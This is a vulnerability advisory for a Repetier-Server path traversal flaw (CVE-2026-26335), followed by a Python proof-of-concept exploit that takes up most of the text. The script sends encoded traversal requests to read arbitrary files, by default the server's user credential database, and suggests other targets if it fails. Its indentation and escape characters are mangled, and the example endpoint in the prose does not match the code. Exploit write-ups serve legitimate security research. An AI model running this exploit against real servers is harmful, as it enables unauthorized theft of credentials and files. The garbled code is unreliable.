Overview
The Repetier-Server 1.4.10 vulnerability, identified as CVE-2026-26335, is a path traversal issue that allows attackers to manipulate file paths in an insecure manner. This vulnerability enables unauthorized access to sensitive files on the server, potentially exposing confidential data and system configurations.
Technical Details
This vulnerability arises from insufficient validation of user input within the file handling functionality of Repetier-Server. An attacker can exploit this weakness by crafting malicious requests that contain directory traversal sequences (e.g., ../) to navigate outside the intended directory structure. Once the attacker successfully traverses the directory, they can access arbitrary files on the server, including configuration files, logs, and other sensitive information.
For example, if the server is configured to serve files from a specific directory, an attacker could send a request like /api/getFile?file=../../etc/passwd to retrieve the contents of the passwd file, which could lead to further exploitation.
Impact
The potential consequences of CVE-2026-26335 are significant. Successful exploitation can lead to unauthorized data exposure, data corruption, and even complete system compromise. Attackers may gain access to sensitive user data, cryptographic keys, or application credentials, which can facilitate further attacks or data breaches.
Mitigation
To protect against this vulnerability, it is crucial for security professionals to implement stringent input validation and sanitization measures. Ensure that any file access functionality strictly enforces whitelisting of acceptable file paths and implements robust error handling to prevent path traversal attempts.
- Regularly update Repetier-Server to the latest version to benefit from security patches.
- Employ web application firewalls (WAF) to detect and block malicious requests.
- Conduct regular security audits and penetration testing to identify and remediate vulnerabilities.
By staying proactive and vigilant, organizations can significantly reduce their risk of exploitation related to this vulnerability.
Proof of Concept (PoC)
# Exploit Title: Repetier-Server 1.4.10 - Path Traversal
# Exploit Author: Mohammed Idrees Banyamer
# Vendor Homepage: https://www.repetier.com/
# Version: <= 1.4.10
# Tested on: Windows 10 / Windows Server 2019 (Repetier-Server default install)
# CVE: CVE-2026-26335
# Advisory: https://cybir.com/2023/cve/poc-repetier-server-140/ (related research)
# CVSS: 9.8 (Critical) - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
import requests
import argparse
import sys
from urllib.parse import urljoin
def generate_traversal(depth: int = 15) -> str:
return "..%5c" * depth
def attempt_read(target_url: str, file_path: str, traversal_depth: int = 15, timeout: int = 10) -> bool:
traversal = generate_traversal(traversal_depth)
payloads = [
f"views{traversal}{file_path}/base/connectionLost.php",
f"base/connectionLost.php?file={traversal}{file_path}",
]
print(f"[*] Targeting: {target_url}")
print(f"[*] Attempting to read: {file_path}")
print(f"[*] Traversal depth: {traversal_depth}")
for payload in payloads:
exploit_url = urljoin(target_url.rstrip("/") + "/", payload)
try:
print(f" → Trying: {exploit_url}")
r = requests.get(exploit_url, timeout=timeout, verify=False)
if r.status_code == 200 and len(r.content) > 60:
sample = r.text[:500].replace("n", " ").strip()
print(f"[+] LIKELY SUCCESS (status {r.status_code}, {len(r.content)} bytes)")
print(f" Preview:n {sample}...")
return True
else:
print(f" → Failed (status {r.status_code}, size {len(r.content)})")
except requests.RequestException as e:
print(f" → Error: {e}")
return False
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-26335 PoC - Repetier-Server Path Traversal / LFI"
)
parser.add_argument("target", help="Target base URL (e.g. http://192.168.1.100:3344/)")
parser.add_argument("--file", default="ProgramData\Repetier-Server\database\user.sql",
help="File path to read (use Windows \ separator)")
parser.add_argument("--depth", type=int, default=15, help="Traversal depth")
parser.add_argument("--test", action="store_true", help="Quick test with Windows\win.ini")
args = parser.parse_args()
if args.test:
args.file = "Windows\win.ini"
print("[i] Running test mode → targeting Windows\win.ini")
file_path = args.file.replace("\", "%5c")
print("=" * 70)
print("CVE-2026-26335 Exploit PoC - Repetier-Server <=1.4.10 Path Traversal")
print("USE ONLY ON SYSTEMS YOU OWN OR HAVE EXPLICIT PERMISSION TO TEST!")
print("=" * 70, "n")
success = attempt_read(args.target, file_path, args.depth)
if not success:
print("n[!] Exploitation attempt failed.")
print("Suggestions:")
print(" • Increase --depth (try 18–30)")
print(" • Verify target is running Repetier-Server <=1.4.10")
print(" • Try alternative interesting files:")
print(" - ProgramData%5cRepetier-Server%5cconfig.xml")
print(" - Windows%5csystem32%5cdrivers%5cetc%5chosts")
if __name__ == "__main__":
main()